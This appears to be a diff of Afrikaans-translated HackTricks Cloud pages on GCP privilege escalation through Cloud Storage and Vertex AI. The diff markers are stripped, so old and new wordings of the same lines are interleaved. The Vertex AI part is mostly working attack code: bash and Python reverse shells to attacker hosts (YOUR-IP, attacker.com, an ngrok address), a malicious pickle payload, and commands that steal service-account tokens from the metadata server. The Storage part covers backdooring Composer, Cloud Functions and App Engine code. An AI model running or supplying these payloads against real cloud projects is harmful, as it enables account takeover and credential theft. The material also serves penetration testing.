With this permission it's possible to disable Source Repositories default protection to not upload code containing Private Keys:
|
||||
|
||||
<details><summary>Deaktiveer pushblock en wysig die pub/sub-konfigurasie</summary>
|
||||
```bash
|
||||
gcloud source project-configs update --disable-pushblock
|
||||
```
|
||||
Jy kan ook 'n ander pub/sub onderwerp konfigureer of dit selfs heeltemal deaktiveer:
|
||||
Jy kan ook 'n ander pub/sub topic konfigureer of dit selfs heeltemal deaktiveer:
|
||||
```bash
|
||||
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
|
||||
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
Basiese Inligting:
|
||||
Basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,18 +12,18 @@ Basiese Inligting:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Hierdie toestemming laat jou toe om **lêers wat in Cloud Storage gestoor is af te laai**. Dit sal moontlik jou toelaat om voorregte te verhoog omdat in sommige gevalle **sensitiewe inligting daar gestoor word**. Boonop stoor sommige GCP-dienste hul inligting in emmers:
|
||||
Hierdie toestemming laat jou toe om **lêers wat in Cloud Storage gestoor is te aflaai**. Dit kan jou moontlik in staat stel om voorregte te verhoog omdat in sommige gevalle **sensitiewe inligting daar gestoor word**. Verder berg sommige GCP-dienste hul inligting in buckets:
|
||||
|
||||
- **GCP Composer**: Wanneer jy 'n Composer Omgewing skep, sal die **kode van al die DAGs** in 'n **emmer** gestoor word. Hierdie take kan interessante inligting in hul kode bevat.
|
||||
- **GCR (Container Registry)**: Die **beeld** van die houers word in **emmer** gestoor, wat beteken dat as jy die emmers kan lees, jy die beelde kan aflaai en **soek na lekke en/of bronkode**.
|
||||
- **GCP Composer**: Wanneer jy 'n Composer Environment skep sal die **code of all the DAGs** binne 'n **bucket** gestoor word. Hierdie take kan interessante inligting in hul kode bevat.
|
||||
- **GCR (Container Registry)**: Die **image** van die containers word in **buckets** gestoor, wat beteken dat as jy die buckets kan lees jy die images kan aflaai en kan **search for leaks and/or source code**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Jy kan jou toestemming gee om **enige van die vorige scenario's van hierdie afdeling te misbruik**.
|
||||
Hierdie toestemming kan jou die vermoë gee om **enige van die voorafgaande scenario's in hierdie afdeling te misbruik**.
|
||||
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Vir 'n voorbeeld van hoe om toestemmings te wysig met hierdie toestemming, kyk na hierdie bladsy:
|
||||
Vir 'n voorbeeld oor hoe om permissies te wysig met hierdie toestemming, kyk hierdie bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
@@ -31,7 +31,9 @@ Vir 'n voorbeeld van hoe om toestemmings te wysig met hierdie toestemming, kyk n
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage se "interoperabiliteit" kenmerk, ontwerp vir **kruis-cloud interaksies** soos met AWS S3, behels die **skepping van HMAC sleutels vir Diensrekeninge en gebruikers**. 'n Aanvaller kan dit misbruik deur **'n HMAC-sleutel vir 'n Diensrekening met verhoogde voorregte te genereer**, wat dus **voorregte binne Cloud Storage verhoog**. Terwyl gebruiker-geassosieerde HMAC-sleutels slegs via die webkonsol verkrygbaar is, bly beide die toegang en geheime sleutels **perpetueel toeganklik**, wat potensiële rugsteunstoegang tot berging moontlik maak. Aan die ander kant is HMAC-sleutels wat aan Diensrekeninge gekoppel is API-toeganklik, maar hul toegang en geheime sleutels is nie na skepping verkrygbaar nie, wat 'n laag van kompleksiteit vir voortdurende toegang byvoeg.
|
||||
Cloud Storage se "interoperability" funksie, ontwerp vir **cross-cloud interactions** soos met AWS S3, behels die **creation of HMAC keys for Service Accounts and users**. 'n Aanvaller kan dit uitbuit deur **'n HMAC key te genereer vir 'n Service Account met elevated privileges**, en sodoende **escalating privileges within Cloud Storage**. Terwyl gebruiker-geassosieerde HMAC keys slegs via die web console teruggevind kan word, bly beide die access en secret keys **perpetually accessible**, wat potensiële rugsteun-toegangstoegang moontlik maak. Omgekeerd is Service Account-gekoppelde HMAC keys API-toeganklik, maar hul access en secret keys is nie na skepping herwinbaar nie, wat 'n laag van kompleksiteit vir voortdurende toegang toevoeg.
|
||||
|
||||
<details><summary>Skep en gebruik HMAC key vir privilege escalation</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
</details>
|
||||
|
||||
## `storage.objects.create`, `storage.objects.delete` = Berg Skryf regte
|
||||
Nog 'n exploit-skrip vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
In orde om 'n **nuwe objek** binne 'n emmer te **skep**, benodig jy `storage.objects.create` en, volgens [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), benodig jy ook `storage.objects.delete` om 'n bestaande objek te **wysig**.
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage-skryf toestemmings
|
||||
|
||||
'n Baie **gewone uitbuiting** van emmers waar jy in die wolk kan skryf, is in die geval waar die **emmer webbediener lêers stoor**, jy mag in staat wees om **nuwe kode** te **stoor** wat deur die webtoepassing gebruik sal word.
|
||||
Om 'n **nuwe object** binne 'n bucket te skep benodig jy `storage.objects.create` en, volgens [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), benodig jy ook `storage.objects.delete` om 'n bestaande object te **wysig**.
|
||||
|
||||
'n Baie **common exploitation** van buckets waarin jy kan skryf in die cloud is wanneer die **bucket webbediener-lêers stoor**; jy kan dalk **nuwe kode stoor** wat deur die webtoepassing gebruik sal word.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** is **Apache Airflow** wat binne GCP bestuur word. Dit het verskeie interessante kenmerke:
|
||||
|
||||
- Dit loop binne 'n **GKE-kluster**, so die **SA wat die kluster gebruik is toeganklik** deur die kode wat binne Composer loop
|
||||
- Al die komponente van 'n composer omgewing (**kode van DAGs**, plugins en data) word binne 'n GCP-emmer gestoor. As die aanvaller lees- en skryfregte daaroor het, kan hy die emmer monitor en **wanneer 'n DAG geskep of opgedateer word, 'n terugdeursnee weergawe indien** sodat die composer omgewing die terugdeursnee weergawe van die berging sal kry.
|
||||
- Dit loop binne 'n **GKE cluster**, dus is die **SA wat die cluster gebruik toeganklik** deur die kode wat binne Composer loop.
|
||||
- Al die komponente van 'n Composer-omgewing (**code of DAGs**, plugins en data) word gestoor binne 'n GCP-bucket. As die aanvaller lees- en skryftoestemmings oor dit het, kan hy die bucket monitor en **wanneer 'n DAG geskep of opgedateer word, 'n backdoored weergawe indien**, sodat die Composer-omgewing die backdoored weergawe uit die storage kry.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**Jy kan 'n PoC van hierdie aanval in die repo vind:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions kode word in Berging gestoor en wanneer 'n nuwe weergawe geskep word, word die kode na die emmer gestoot en dan word die nuwe houer van hierdie kode gebou. Daarom, **om die kode te oorskryf voordat die nuwe weergawe gebou word, is dit moontlik om die wolk funksie willekeurige kode te laat uitvoer**.
|
||||
- Cloud Functions-kode word in Storage gestoor en elke keer as 'n nuwe weergawe geskep word, word die kode na die bucket ge-pusht en daarna word die nuwe kontainer van hierdie kode gebou. Daarom, deur die kode oor te skryf voordat die nuwe weergawe gebou word, is dit moontlik om die cloud function arbitrêre kode te laat uitvoer.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**Jy kan 'n PoC van hierdie aanval in die repo vind:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine weergawes genereer sekere data binne 'n emmer met die formaat naam: `staging.<project-id>.appspot.com`. Binne hierdie emmer, is dit moontlik om 'n gids genaamd `ae` te vind wat 'n gids per weergawe van die AppEngine-app sal bevat en binne hierdie gidse sal dit moontlik wees om die `manifest.json` lêer te vind. Hierdie lêer bevat 'n json met al die lêers wat gebruik moet word om die spesifieke weergawe te skep. Boonop is dit moontlik om die **werklike name van die lêers, die URL na hulle binne die GCP-emmer (die lêers binne die emmer het hul naam vir hul sha1-hash verander) en die sha1-hash van elke lêer te vind.**
|
||||
AppEngine-weergawe genereer sekere data binne 'n bucket met die formaat naam: `staging.<project-id>.appspot.com`. Binne hierdie bucket is dit moontlik om 'n gids met die naam `ae` te vind wat 'n gids per weergawe van die AppEngine-app sal bevat, en binne daardie gidse sal jy die `manifest.json` lêer vind. Hierdie lêer bevat 'n json met al die lêers wat gebruik moet word om die spesifieke weergawe te skep. Boonop is dit moontlik om die **werklike name van die lêers, die URL na hulle binne die GCP-bucket (die lêers binne die bucket het hul naam verander na hul sha1-hash) en die sha1-hash van elke lêer** te vind.
|
||||
|
||||
_Nota dat dit nie moontlik is om hierdie emmer vooraf oor te neem nie omdat GCP gebruikers nie gemagtig is om emmers te genereer met die domeinnaam appspot.com._
|
||||
_Note dat dit nie moontlik is om hierdie bucket vooraf te pre-takeover nie omdat GCP gebruikers nie gemagtig is om buckets te genereer met die domeinnaam appspot.com nie._
|
||||
|
||||
Met lees- en skryftoegang oor hierdie emmer, is dit egter moontlik om regte te verhoog na die SA wat aan die App Engine weergawe geheg is deur die emmer te monitor en enige tyd wanneer 'n verandering gemaak word (nuwe weergawe), die nuwe weergawe so vinnig as moontlik te wysig. Op hierdie manier sal die houer wat van hierdie kode geskep word, die terugdeursnee kode uitvoer.
|
||||
Met lees- en skryftoegang tot hierdie bucket is dit egter moontlik om privilegies te eskaleer na die SA wat aan die App Engine-weergawe gekoppel is deur die bucket te monitor en enige keer dat 'n verandering gemaak word (nuwe weergawe), die nuwe weergawe so vinnig moontlik te wysig. Op hierdie manier sal die kontainer wat van hierdie kode geskep word die backdoored kode uitvoer.
|
||||
|
||||
Die genoemde aanval kan op baie verskillende maniere uitgevoer word, al hulle begin met die monitering van die `staging.<project-id>.appspot.com` emmer:
|
||||
Die genoemde aanval kan op baie verskillende maniere uitgevoer word; almal begin deur die `staging.<project-id>.appspot.com` bucket te monitor:
|
||||
|
||||
- Laai die volledige nuwe kode van die AppEngine weergawe na 'n ander en beskikbare emmer en berei 'n **`manifest.json` lêer voor met die nuwe emmer naam en sha1 hashes daarvan**. Dan, wanneer 'n nuwe weergawe binne die emmer geskep word, moet jy net die `manifest.json` lêer wysig en die kwaadwillige een oplaai.
|
||||
- Laai 'n gewysigde `requirements.txt` weergawe op wat die **kwaadwillige afhanklikhede kode sal gebruik en die `manifest.json`** lêer met die nuwe lêernaam, URL en die hash daarvan opdateer.
|
||||
- Laai 'n **gewysigde `main.py` of `app.yaml` lêer op wat die kwaadwillige kode sal uitvoer** en die `manifest.json` lêer met die nuwe lêernaam, URL en die hash daarvan opdateer.
|
||||
- Laai die volledige nuwe kode van die AppEngine-weergawe op na 'n ander beskikbare bucket en berei 'n **`manifest.json`-lêer met die nuwe bucketnaam en sha1-hashe van die lêers** voor. Wanneer 'n nuwe weergawe dan binne die bucket geskep word, hoef jy net die `manifest.json` te wysig en die kwaadwillige een op te laai.
|
||||
- Laai 'n gemodifiseerde `requirements.txt` op wat die **kwaadwillige afhanklikheidskode gebruik en die `manifest.json`** bywerk met die nuwe bestandsnaam, URL en die hash daarvan.
|
||||
- Laai 'n **gemodifiseerde `main.py` of `app.yaml` lêer wat die kwaadwillige kode sal uitvoer** op en werk die `manifest.json` by met die nuwe bestandsnaam, URL en die hash daarvan.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**Jy kan 'n PoC van hierdie aanval in die repo vind:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stoor die beelde binne emmers, as jy kan **skryf na daardie emmers** mag jy in staat wees om **lateraal te beweeg na waar daardie emmers uitgevoer word.**
|
||||
- Die emmer wat deur GCR gebruik word, sal 'n URL hê wat soortgelyk is aan `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die boonste vlak subdomeine is hier gespesifiseer [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** stoor die images binne buckets; as jy daardie buckets kan skryf mag jy moontlik **move laterally** na waar daardie buckets gedryf word.
|
||||
- Die bucket wat deur GCR gebruik word sal 'n URL hê soortgelyk aan `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die top-level subdomeine is gespesifiseer [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Hierdie diens is verouderd so hierdie aanval is nie meer nuttig nie. Boonop, Artifact Registry, die diens wat hierdie een vervang, stoor nie die beelde in emmers nie.
|
||||
> Hierdie diens is verouderd, dus is hierdie aanval nie meer nuttig nie. Boonop stoor Artifact Registry, die diens wat hierdie een vervang, nie die images in buckets nie.
|
||||
|
||||
## **References**
|
||||
## **Verwysings**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
@@ -0,0 +1,719 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Vir meer inligting oor Vertex AI sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Met die `aiplatform.customJobs.create`-toestemming en `iam.serviceAccounts.actAs` op 'n teiken service account, kan 'n aanvaller **arbitrêre kode met verhoogde voorregte uitvoer**.
|
||||
|
||||
Dit werk deur 'n custom training job te skep wat aanvaller-beheerde kode uitvoer (hetsy 'n custom container of Python package). Deur 'n bevoorregte service account te spesifiseer via die `--service-account` vlag, erf die job daardie service account se toestemmings. Die job hardloop op Google-beheerde infrastruktuur met toegang tot die GCP metadata service, wat die onttrekking van die service account se OAuth access token moontlik maak.
|
||||
|
||||
**Impak**: Volledige privilege escalation na die teiken service account se toestemmings.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep custom job met reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternatief: Ekstraheer token uit logs</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Die custom job sal met die gespesifiseerde diensrekening se toestemmings uitgevoer word. Verseker jy het `iam.serviceAccounts.actAs` toestemming op die teiken-diensrekening.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Hierdie tegniek bereik privilege escalation deur 'n model na Vertex AI op te laai en daardie model vervolgens te gebruik om kode met elevated privileges uit te voer via 'n endpoint deployment of batch prediction job.
|
||||
|
||||
> [!NOTE]
|
||||
> Om hierdie aanval uit te voer is dit nodig om 'n world readable GCS bucket te hê of 'n nuwe een te skep om die model-artefakte op te laai.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Laai kwaadwillige pickled model met reverse shell op</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Laai model op met container reverse shell</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Nadat die kwaadwillige model opgelaai is, kan 'n aanvaller wag dat iemand die model gebruik, of die model self via 'n endpoint deployment of 'n batch prediction job begin.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
As jy die toestemming het om modelle na endpoints te skep en te ontplooi, of endpoint IAM-beleid te wysig, kan jy opgelaaide kwaadwillige modelle in die projek benut om privilege escalation te bereik. Om een van die voorheen opgelaaide kwaadwillige modelle via 'n endpoint te aktiveer, hoef jy slegs die volgende te doen:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ontplooi kwaadwillige model na endpoint</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
As jy toestemming het om 'n **batch prediction jobs** te skep en dit met 'n service account te laat loop, kan jy toegang tot die metadata service kry. Die kwaadaardige kode word uitgevoer vanuit 'n **custom prediction container** of **malicious model** tydens die batch prediction-proses.
|
||||
|
||||
**Note**: Batch prediction jobs kan slegs geskep word via die REST API of die Python SDK (gcloud CLI word nie ondersteun nie).
|
||||
|
||||
> [!NOTE]
|
||||
> Hierdie aanval vereis eers dat jy 'n malicious model oplaai (sien die `aiplatform.models.upload` afdeling hierbo) of 'n custom prediction container gebruik met jou reverse shell code.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep batch prediction job met malicious model</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
As jy die **models.export** toestemming het, kan jy modelartefakte na 'n GCS bucket wat jy beheer uitvoer, en moontlik toegang tot sensitiewe opleidingsdata of model-lêers kry.
|
||||
|
||||
> [!NOTE]
|
||||
> Om hierdie attack uit te voer is dit nodig om 'n GCS bucket te hê wat deur almal leesbaar en skryfbaar is, of om 'n nuwe een te skep om die modelartefakte op te laai.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voer modelartefakte uit na 'n GCS bucket</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Skep **ML pipeline jobs** wat verskeie stappe met arbitrêre containers uitvoer en privilege escalation bereik deur reverse shell toegang.
|
||||
|
||||
Pipelines is besonder kragtig vir privilege escalation omdat hulle multi-stage attacks ondersteun waar elke komponent verskillende containers en konfigurasies kan gebruik.
|
||||
|
||||
> [!NOTE]
|
||||
> You need a world writable GCS bucket to use as the pipeline root.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installeer Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep pipeline job met reverse shell container</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
